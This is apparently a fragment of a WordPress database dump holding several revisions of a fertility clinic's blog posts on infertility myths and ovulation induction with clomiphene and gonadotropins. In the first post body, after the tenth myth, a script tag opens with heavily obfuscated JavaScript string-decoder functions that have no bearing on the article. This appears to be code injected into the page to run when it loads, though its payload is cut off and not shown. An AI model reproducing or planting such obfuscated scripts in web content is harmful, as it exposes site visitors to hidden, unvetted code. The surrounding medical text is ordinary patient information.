simply not true.” Studies reveal that infertile couples who adopt have the same rate of conceiving successfully as infertile couples who do not adopt.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 07: Taking the pill doesn\'t affect fertility.</strong></h2>\r\nIt can take 3-6 months for your cycle to regulate after stopping the pill. The pill works by suppressing your natural hormones—which are responsible for ovulation—and it can take a few months for your hormones to balance out, even after all of the medication is out of your system.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 08: Age isn\'t a big factor in infertility.</strong></h2>\r\nResearch published just this month shows that fertility declines significantly around the age of 35 for women. Professor Greg <strong>Fitzharris explains</strong>, “One of the main <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>causes of female infertility</strong></a></span> is a defect in the eggs that causes them to have an abnormal number of chromosomes. These become increasingly prevalent as a woman ages. This is a key reason that older women have trouble getting pregnant and having full-term pregnancies. It is also known that these defective eggs increase the risk of miscarriage and Down’s syndrome in full-term babies.”\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 09: Infertility is only caused by reproductive problems.</strong></h2>\r\nThe CDC lists that cause of infertility includes genetic abnormalities, certain acute and chronic diseases, exposure to certain environmental toxins, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/smoking-and-fertility/\" target=\"_blank\" rel=\"noopener\">smoking</a></span></strong>, and <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/effects-of-alcohol-on-fertility/\" target=\"_blank\" rel=\"noopener\">alcohol use</a></span></strong> (more than one drink per day).\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 10: Giving advice and solutions to infertility are the best answer.</strong></h2>\r\nWhether a woman chooses to pursue fertility treatments or not, offering solutions for infertility may be well-intentioned, but they are emotionally and physically draining. “I’m here for you. I want to support you. You are a strong woman,” are what a woman struggling with infertility desires and deserves to hear most.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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11:28:06','',0,'http://www.nufertility.com/blog/?p=157',0,'post','',0),(158,1,'2018-02-06 12:21:14','2018-02-06 12:21:14','<strong>Myth 01: Infertility is rare.</strong>\r\n<p>Infertility can affect women of any age and from any background. In fact, approximately one out of every seven couples trying to conceive today experience difficulties with infertility. The Centers for Disease Control and Prevention (CDC) reports that 12 percent of women in the U.S. ages 15 to 44 have difficulty getting pregnant or carrying a pregnancy to term. That’s nearly one in five women in the U.S. So it’s likely that you know someone struggling with infertility, whether they choose to share it or not.</p>\r\n\r\n<strong>Myth 02: Stress causes infertility.</strong>\r\n<p>Women struggling with infertility are often told, “Just relax and it will happen!” But it’s not as simple as that. Stress doesn’t cause infertility, but it can delay ovulation through hormone suppression. On the contrary, infertility might contribute to stress, anxiety, and depression in couples trying to conceive.</p>\r\n\r\n<strong>Myth 03: Only women with \"regular\" cycles have normal fertility.</strong>\r\n<p>Researchers at the University of Utah Office of Cooperative Reproductive Health found that the 28-day length represents only about 13 percent of cycles. The distribution of cycle length looks like a bell curve, centeredaround the 28-day mark, which means that there is a lot of variability in average cycle length.</p>\r\n\r\n<strong>Myth 04: People who have children can\'t be infertile.</strong>\r\n<p>Infertility is defined by the American College of Obstetricians and Gynecologists as not having become pregnant after twelve months of regular, unprotected sex. Some couples who struggle with subfertility—like women with PCOS or thyroid disorder—are able to conceive naturally with the right combination of lifestyle factors and/or medication. On the other hand, the CDC reports that 11% of couples who have had a child experience secondary infertility, meaning they are unable to conceive again.</p>\r\n\r\n<strong>Myth 05: Infertility is mostly a female problem.</strong>\r\n<p>One in ten men have experienced infertility, yet nearly half of them have not sought medical help. Researchers at the University of California, Berkeley found that men had a higher rate of chromosomal abnormalities in their sperm when their diet was low in folic acid and vitamin E. And regardless of whether or not infertility is due to a male or female factor, infertility can often cause deep emotional suffering among men.</p>\r\n\r\n<strong>Myth 06: When a couple adopts, they are more likely to get pregnant.</strong>\r\n<p>The National Infertility Association reports, “This is one of the most painful myths for couples to hear. First, it suggests that adoption is only a means to an end, not [a] happy and successful end in itself. Second, it is simply not true.” Studies reveal that infertile couples who adopt have the same rate of conceiving successfully as infertile couples who do not adopt.</p>\r\n\r\n<strong>Myth 07: Taking the pill doesn\'t affect fertility.</strong>\r\n<p>It can take 3-6 months for your cycle to regulate after stopping the pill. The pill works by suppressing your natural hormones—which are responsible for ovulation—and it can take a few months for your hormones to balance out, even after all of the medication is out of your system.</p>\r\n\r\n<strong>Myth 08: Age isn\'t a big factor in infertility.</strong>\r\n<p>Research published just this month shows that fertility declines significantly around the age of 35 for women. Professor Greg FitzHarris explains, “One of the main causes of female infertility is a defect in the eggs that causes them to have an abnormal number of chromosomes. These…become increasingly prevalent as a woman ages. This is a key reason that older women have trouble getting pregnant and having full-term pregnancies. It is also known that these defective eggs increase the risk of miscarriage and Down’s syndrome in full-term babies.”\r\n</p>\r\n\r\n<strong>Myth 09: Infertility is only caused by reproductive problems.</strong>\r\n<p>The CDC lists that cause of infertility includes genetic abnormalities, certain acute and chronic diseases, exposure to certain environmental toxins, smoking, and alcohol use (more than one drink per day).</p>\r\n\r\n<strong>Myth 10: Giving advice and solutions to infertility are the best answer.</strong>\r\n<p>Whether a woman chooses to pursue fertility treatments or not, offering solutions for infertility may be well-intentioned, but they are emotionally and physically draining. “I’m here for you. I want to support you. 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In fact, approximately one out of every seven couples trying to conceive today experience difficulties with infertility. The Centers for Disease Control and Prevention (CDC) reports that 12 percent of women in the U.S. ages 15 to 44 have difficulty getting pregnant or carrying a pregnancy to term. That’s nearly one in five women in the U.S. So it’s likely that you know someone struggling with infertility, whether they choose to share it or not.</p>\r\n<!--more-->\r\n\r\n\r\n<strong>Myth 02: Stress causes infertility.</strong>\r\n<p>Women struggling with infertility are often told, “Just relax and it will happen!” But it’s not as simple as that. Stress doesn’t cause infertility, but it can delay ovulation through hormone suppression. On the contrary, infertility might contribute to stress, anxiety, and depression in couples trying to conceive.</p>\r\n\r\n<strong>Myth 03: Only women with \"regular\" cycles have normal fertility.</strong>\r\n<p>Researchers at the University of Utah Office of Cooperative Reproductive Health found that the 28-day length represents only about 13 percent of cycles. The distribution of cycle length looks like a bell curve, centeredaround the 28-day mark, which means that there is a lot of variability in average cycle length.</p>\r\n\r\n<strong>Myth 04: People who have children can\'t be infertile.</strong>\r\n<p>Infertility is defined by the American College of Obstetricians and Gynecologists as not having become pregnant after twelve months of regular, unprotected sex. Some couples who struggle with subfertility—like women with PCOS or thyroid disorder—are able to conceive naturally with the right combination of lifestyle factors and/or medication. On the other hand, the CDC reports that 11% of couples who have had a child experience secondary infertility, meaning they are unable to conceive again.</p>\r\n\r\n<strong>Myth 05: Infertility is mostly a female problem.</strong>\r\n<p>One in ten men have experienced infertility, yet nearly half of them have not sought medical help. Researchers at the University of California, Berkeley found that men had a higher rate of chromosomal abnormalities in their sperm when their diet was low in folic acid and vitamin E. And regardless of whether or not infertility is due to a male or female factor, infertility can often cause deep emotional suffering among men.</p>\r\n\r\n<strong>Myth 06: When a couple adopts, they are more likely to get pregnant.</strong>\r\n<p>The National Infertility Association reports, “This is one of the most painful myths for couples to hear. First, it suggests that adoption is only a means to an end, not [a] happy and successful end in itself. Second, it is simply not true.” Studies reveal that infertile couples who adopt have the same rate of conceiving successfully as infertile couples who do not adopt.</p>\r\n\r\n<strong>Myth 07: Taking the pill doesn\'t affect fertility.</strong>\r\n<p>It can take 3-6 months for your cycle to regulate after stopping the pill. The pill works by suppressing your natural hormones—which are responsible for ovulation—and it can take a few months for your hormones to balance out, even after all of the medication is out of your system.</p>\r\n\r\n<strong>Myth 08: Age isn\'t a big factor in infertility.</strong>\r\n<p>Research published just this month shows that fertility declines significantly around the age of 35 for women. Professor Greg FitzHarris explains, “One of the main causes of female infertility is a defect in the eggs that causes them to have an abnormal number of chromosomes. These…become increasingly prevalent as a woman ages. This is a key reason that older women have trouble getting pregnant and having full-term pregnancies. It is also known that these defective eggs increase the risk of miscarriage and Down’s syndrome in full-term babies.”\r\n</p>\r\n\r\n<strong>Myth 09: Infertility is only caused by reproductive problems.</strong>\r\n<p>The CDC lists that cause of infertility includes genetic abnormalities, certain acute and chronic diseases, exposure to certain environmental toxins, smoking, and alcohol use (more than one drink per day).</p>\r\n\r\n<strong>Myth 10: Giving advice and solutions to infertility are the best answer.</strong>\r\n<p>Whether a woman chooses to pursue fertility treatments or not, offering solutions for infertility may be well-intentioned, but they are emotionally and physically draining. “I’m here for you. I want to support you. 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These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. 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Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong><strong>What is ovulation?</strong></strong></h2>\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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05:31:27','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/3.png',0,'attachment','image/png',0),(162,1,'2018-02-06 12:29:45','2018-02-06 12:29:45','','i6','','inherit','open','closed','','i6','','','2018-02-06 12:29:45','2018-02-06 12:29:45','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png',0,'attachment','image/png',0),(163,1,'2018-02-06 12:33:44','2018-02-06 12:33:44','<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/3.png\"</center>\r\n<!--more-->\r\n\r\n\r\n<strong>What is ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\">\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. 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ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\">\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. 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ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken 